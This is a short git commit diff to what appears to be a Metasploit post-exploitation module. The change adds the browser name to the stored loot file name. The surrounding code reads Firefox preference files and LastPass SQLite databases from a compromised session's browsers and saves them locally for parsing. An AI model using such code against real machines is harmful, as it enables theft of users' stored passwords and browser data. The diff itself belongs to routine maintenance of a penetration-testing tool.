Store the browser name in LastPass loot

bug/bundler_fix
Jon Hart 2014-10-17 11:33:31 -07:00
parent 43238c7324
commit d97fe548b9
1 changed files with 1 additions and 2 deletions

View File

@ -43,7 +43,6 @@ class Metasploit3 < Msf::Post
db_map.each_pair do |browser, paths|
if browser == 'Firefox'
paths.each do |path|
# Read and store the remote preferences file locally
data = read_file(path)
loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{path}")
@ -57,7 +56,7 @@ class Metasploit3 < Msf::Post
else # Chrome, Safari and Opera
paths.each do |path|
data = read_file(path)
loot_path = store_loot('lastpass.database', 'application/x-sqlite3', session, data, nil, "LastPass database #{path}")
loot_path = store_loot("#{browser.downcase}.lastpass.database", 'application/x-sqlite3', session, data, nil, "#{browser} LastPass database #{path}")
# Parsing/Querying the DB
db = SQLite3::Database.new(loot_path)